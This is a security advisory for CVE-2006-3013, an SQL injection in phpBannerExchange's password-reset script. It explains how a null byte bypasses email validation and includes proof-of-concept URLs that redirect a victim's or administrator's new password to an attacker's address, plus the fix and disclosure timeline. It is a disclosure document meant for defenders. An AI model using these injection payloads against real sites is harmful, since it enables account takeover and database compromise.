Advisory: Unauthorized password recovery in phpBannerExchange

RedTeam identified an SQL injection that can be triggered due to a bad
user input sanitization in phpBannerExchange. It is possible to recover
a password of an user and thereby overtake his account.


Details
=======

Product: phpBannerExchange
Affected Versions: All versions up to phpBannerExchange 2.0 RC5
Fixed Versions: 2.0 RC6
Vulnerability Type: Bad user input sanitization, SQL injection
Security-Risk: medium
Vendor-URL: http://www.eschew.net/scripts/phpbe/2.0/
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2006-005.txt
Advisory-Status: public
CVE: CVE-2006-3013
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3013


Introduction
============

From the vendor's homepage:
phpBannerExchange is a PHP/mySQL script that allows virtually anyone
with minimal knowledge of PHP, mySQL and web hosting to run their own
banner exchange. 


More Details
============

If a user forgot the password of his phpBannerExchange account, he
can reset it by supplying his email address.
In "resetpw.php" the variable $email contains this email address,
which is then validated by a regular expression.

[...]
42    if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*
                 (\.[a-z]{2,3})$", $email)){
[...]

Due to a bug in the implementation of eregi(), it is possible to pass
additional characters by using a Null Byte "\0". Because the backend
of eregi() is implemented in C, $email is treated as a zero-terminated
string. All characters starting from the Null Byte on will not be
recognized by the regular expression. Therefore you can pass an email
address, that includes the special character "'" to break the following
SQL query:

[...]
48    $get_info=mysql_query("select * from banneruser where 
                             email='$email'");
[...]

After that, a new password for the chosen user is generated and sent via

[...]
68    mail($email,$usrsubject,$usrcontent,"From: $ownermail");
[...]

Note that mail() will treat $email as a zero-terminated string, too.
Thereby, an attacker can reset the password of a user account and send
it to his own email address.


Proof of Concept
================

Use following URLs with your favorite web browser:

http://example.com/phpbe/resetpw.php?
    submit=&email=attacker@example.com%00'or email='victim@example.com

to retrieve the password of the user with the email address
"victim@example.com" or

http://example.com/phpbe/resetpw.php?
    submit=&email=attacker@example.com%00'or id='1

to retrieve the password of the user with user id "1".


Workaround
==========

Use PHP Magic Quotes.


Fix
===

Upgrade to version 2.0 RC6


Security Risk
=============

The security risk is high because an attacker could gain access to an
administrator account and view and alter the database and hereby compromise
the whole application.


History
=======

2006-06-09 Discovery of the problem
2006-06-10 Vendor is informed
2006-06-12 Vendor released fixed version

References
==========

[1] http://www.eschew.net/scripts/phpbe/2.0/


RedTeam
=======

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam wants to share its
knowledge and enhance the public knowledge with research in security
related areas. The results are made available as public security
advisories.

More information about RedTeam can be found at
http://www.redteam-pentesting.de.

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